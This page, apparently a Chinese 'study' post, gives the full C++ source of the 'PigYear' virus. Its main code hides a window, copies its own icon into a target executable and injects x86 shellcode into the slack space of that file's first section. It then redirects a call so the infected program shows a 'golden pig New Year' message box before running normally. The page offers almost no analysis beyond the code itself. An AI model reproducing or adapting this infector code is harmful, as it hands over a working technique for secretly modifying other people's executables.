PigYear病毒 代码 研究

PigYear病毒 代码 研究
PigYear.cpp
#include "stdafx.h"
#include "PigYear.h"
#include "MainWnd.h"//----------

#ifdef _DEBUG
#define new DEBUG_NEW
#undef THIS_FILE
static char THIS_FILE[] = __FILE__;
#endif

/
// CPigYearApp

BEGIN_MESSAGE_MAP(CPigYearApp, CWinApp)
 //{{AFX_MSG_MAP(CPigYearApp)
  // NOTE - the ClassWizard will add and remove mapping macros here.
  //    DO NOT EDIT what you see in these blocks of generated code!
 //}}AFX_MSG
 ON_COMMAND(ID_HELP, CWinApp::OnHelp)
END_MESSAGE_MAP()

/
// CPigYearApp construction

CPigYearApp::CPigYearApp()
{
 // TODO: add construction code here,
 // Place all significant initialization in InitInstance
}

/
// The one and only CPigYearApp object

CPigYearApp theApp;

/
// CPigYearApp initialization

BOOL CPigYearApp::InitInstance()
{
 CMainWnd* pWnd=new CMainWnd();
 pWnd->CreateFrame();
 m_pMainWnd=pWnd;
 return TRUE;// 返回TRUE，开始消息循环。
}

MainWnd.cpp
// MainWnd.cpp : implementation file
//

#include "stdafx.h"
#include "PigYear.h"
#include "MainWnd.h"

#ifdef _DEBUG
#define new DEBUG_NEW
#undef THIS_FILE
static char THIS_FILE[] = __FILE__;
#endif

/**************************************************************
* 函数：SetRes
* 参数：LPSTR szImageName --要进行资源更新的EXE或DLL的名字
        LPSTR szResType -- 将被更新的资源类型   
        LPSTR szResName -- 待被更新的资源名称
        LPVOID pData -- 可执行文件的资源数据的指针
        DWORD cbData -- 指定lpData中的资源数据数据大小 
* 功能：该函数用来更新exe中的资源
**************************************************************/
int SetRes(LPSTR szImageName,LPSTR szResType,LPSTR szResName,LPVOID pData,DWORD cbData)
{
 HANDLE hExe = BeginUpdateResource(szImageName,0);
 if(hExe==NULL) throw("BeginUpdateResource");
 
 int res = UpdateResource(
  hExe,
  szResType,
  szResName,
  MAKELANGID(LANG_NEUTRAL, SUBLANG_NEUTRAL),
  pData,
  cbData);
 if (!res) throw("UpdateResource");
 
 if (!EndUpdateResource(hExe, 0)) throw("EndUpdateResource");
 
 return 1;
}

/**************************************************************
* 函数：EnumIconProc
* 参数：HMODULE hModule --module 句柄
        LPCTSTR lpszType --资源类型
        LPTSTR  lpszName --资源名称
        LONG    lParam --请求定义好的参数 
* 功能：该函数枚举源Exe中的所有图标，设置到另一个exe中去
**************************************************************/
BOOL CALLBACK EnumIconProc(HMODULE hModule,LPCTSTR lpszType,LPTSTR lpszName,LONG lParam)
{
 HRSRC hRes = FindResource(hModule, lpszName, RT_ICON);
 if (hRes == NULL) throw("Could not locate icon resource.");

    // Load the icon into global memory.
 HGLOBAL hResLoad = LoadResource(hModule, hRes);
 if (hResLoad == NULL) throw("Could not load icon.");
 
 // Lock the dialog box into global memory.
 LPVOID pData = LockResource(hResLoad);
 if (pData == NULL) throw("Could not lock Icon.");

    DWORD cbData = SizeofResource(hModule, hRes);
 
 if (lParam)
 {
  SetRes((LPSTR)lParam,
   RT_ICON,
   lpszName,
   pData,
   cbData
   );
 }
 
 return TRUE;
}

/**************************************************************
* 函数：SetExeIcon
* 参数：LPSTR szLoadFrom--图标提取文件
        LPSTR szSetTo --待更新图标文件
* 功能：该函数把一个Exe中的图标转入到另一个exe中去
**************************************************************/
int SetExeIcon(LPSTR szLoadFrom, LPSTR szSetTo)
{
 HMODULE hExe = LoadLibrary(szLoadFrom);//把EXE当二进制资源加载
 if (hExe == NULL)
 {
  throw("Could not load icon exe.");
  return 1;
 }

    EnumResourceNames(
  hExe,   
  RT_ICON,     
        (ENUMRESNAMEPROC) EnumIconProc,
        (LONG)szSetTo   
  );
 FreeLibrary(hExe);
 return 1;
}

/**************************************************************
* 函数：InjectCode
* 参数：char szHostFile[]--待感染的exe文件路径

* 功能：感染一个exe程序，运行显示“金猪拜年”的MessageBox
**************************************************************/
int InjectCode(char szHostFile[])
{//#include <windows.h>
 PIMAGE_DOS_HEADER pImageDosHeader ;
 PIMAGE_NT_HEADERS pImageNtHeaders ;
 PIMAGE_SECTION_HEADER pImageSectionHeader;
 unsigned char thunkcode[] = "/x60/x9c/xe8/x00/x00/x00/x00/x5b"
                            "/x81/xeb/x0d/x10/x40/x00/x6a/x00"
                            "/x8d/x83/x30/x10/x40/x00/x50/x50"
                            "/x6a/x00/xb8/x78/x56/x34/x12/xff"
                            "/xd0/x9d/x61/xff/x25/x3a/x10/x40"
                            "/x00/x90/xBD/xF0/xD6/xED/xB0/xDD"
                            "/xC4/xEA/x00";
    HANDLE hFile ;
    HANDLE hMap ;
    LPVOID pMapping ;
    DWORD dwGapSize ;
    unsigned char *pGapEntry ;
    int i ;
    PROC MsgBox ;
    DWORD OldEntry ;
    int x = 0x18 ;
    int vir_len ;
    unsigned char *pSearch ;
    DWORD *dwCallNextAddr ;
    DWORD *dwCallDataOffset ;
    DWORD *dwCallDataAddr ;
    DWORD dwCallData ;
    DWORD dwCodeDistance ;
    DWORD *dwJmpAddr ;
    DWORD dwJmpData ;
    DWORD dwJmpVA ;

    //:::
    hFile = CreateFile(szHostFile,
                        FILE_SHARE_READ|FILE_SHARE_WRITE,
                        FILE_SHARE_READ|FILE_SHARE_WRITE,
                        NULL,
                        OPEN_EXISTING,
                        FILE_ATTRIBUTE_NORMAL,
                        NULL) ;
                       
    if (hFile==INVALID_HANDLE_VALUE)
    {
        return -1 ;
    }
   
    hMap = CreateFileMapping(hFile,
                            NULL,
                            PAGE_READWRITE,
                            0,
                            0,
                            NULL) ;
    if (!hMap)
        return -1 ;
   
    pMapping = MapViewOfFile(hMap,
                        FILE_MAP_ALL_ACCESS,
                        0,
                        0,
                        0) ;
    if (!pMapping)
        return -1 ;
   
    pImageDosHeader = (PIMAGE_DOS_HEADER)pMapping ;
    if (pImageDosHeader->e_magic==IMAGE_DOS_SIGNATURE)
    {
        pImageNtHeaders = (PIMAGE_NT_HEADERS)((DWORD)pMapping+pImageDosHeader->e_lfanew) ;
        if (pImageNtHeaders->Signature==IMAGE_NT_SIGNATURE)
        {
            pImageSectionHeader = (PIMAGE_SECTION_HEADER)((DWORD)pMapping+
                                                            pImageDosHeader->e_lfanew+
                                                            sizeof(IMAGE_NT_HEADERS)) ;
            dwGapSize = pImageSectionHeader->SizeOfRawData - pImageSectionHeader->Misc.VirtualSize ;
           
            if (sizeof(thunkcode)>dwGapSize)
                goto Close ;
               
            pGapEntry = (unsigned char *)(pImageSectionHeader->PointerToRawData+
                                            (DWORD)pMapping+
                                            pImageSectionHeader->Misc.VirtualSize) ;
           
            OldEntry = pImageNtHeaders->OptionalHeader.ImageBase+
                        pImageNtHeaders->OptionalHeader.AddressOfEntryPoint ;

            MsgBox = (PROC)GetProcAddress(LoadLibrary("user32.dll"),"MessageBoxA") ;

            //修改为当前系统的MessageBoxA地址
            for (i=3;i>=0;i--)
            {
                thunkcode[i+27] = ((unsigned int)MsgBox>>x)&0xff ;
                x -= 8 ;
            }
            x = 24 ;
           
            vir_len = (int)pImageSectionHeader->Misc.VirtualSize ;
           
            pSearch = (unsigned char *)(pImageSectionHeader->PointerToRawData+
                        (DWORD)pMapping) ;
                       
            //:::搜索call指令(0xe8)
            for (i=0;i<vir_len;i++)
            {
                if (pSearch[i]==0xe8)
                {
                    dwCallDataAddr = (DWORD *)(&pSearch[i]+1) ;
                    dwCallNextAddr=(DWORD *)(&pSearch[i]+5) ;
                    dwJmpAddr = (DWORD *)(*dwCallDataAddr+ (DWORD)dwCallNextAddr) ;
                    dwJmpVA = (DWORD)dwJmpAddr-
                                ((DWORD)pMapping+pImageSectionHeader->PointerToRawData)+
                                pImageNtHeaders->OptionalHeader.ImageBase+
                                pImageNtHeaders->OptionalHeader.AddressOfEntryPoint ;
                    dwJmpData = *((DWORD *)((unsigned char *)dwJmpAddr+2)) ;

                    if ((*dwJmpAddr&0xffff)==0x25ff)
                    {
                        dwCodeDistance = (DWORD)pGapEntry - (DWORD)dwCallNextAddr ;
                        *dwCallDataAddr = dwCodeDistance ;
                        for (i=3;i>=0;i--)
                        {
                            thunkcode[i+37] = ((unsigned int)dwJmpData>>x)&0xff ;
                            x -= 8 ;
                        }
                        for (i=0;i<sizeof(thunkcode);i++)
                        {
                            pGapEntry[i] = thunkcode[i] ;
                        }
                        break ;
                    }
                }
               
            }
           
        }
    }

Close:
    UnmapViewOfFile(pMapping) ;
    CloseHandle(hMap) ;
    CloseHandle(hFile) ;
   
    return 0 ;
}
/
// CMainWnd

IMPLEMENT_DYNCREATE(CMainWnd, CFrameWnd)

CMainWnd::CMainWnd()
{
}

CMainWnd::~CMainWnd()
{
}

BEGIN_MESSAGE_MAP(CMainWnd, CFrameWnd)
 //{{AFX_MSG_MAP(CMainWnd)
 //}}AFX_MSG_MAP
END_MESSAGE_MAP()

/
// CMainWnd message handlers

BOOL CMainWnd::CreateFrame()
{
 RECT rt={0,0,1,1};
 BOOL ret=FALSE;
 ret=CWnd::CreateEx(0,AfxRegisterWndClass(0),
  "xicao",~WS_VISIBLE,rt,0,0);
 
 //---------------------
 WormExe("c://a.exe");

 return ret;
}

 

void CMainWnd::WormExe(char szHostFile[])
{
 char This_File[256];
 memset(This_File,0,256);
 GetModuleFileName(NULL, This_File,256);
 //更换图标
 SetExeIcon(This_File,szHostFile);
 Sleep(100);
 //注入代码
 InjectCode(szHostFile);
 Sleep(100);
}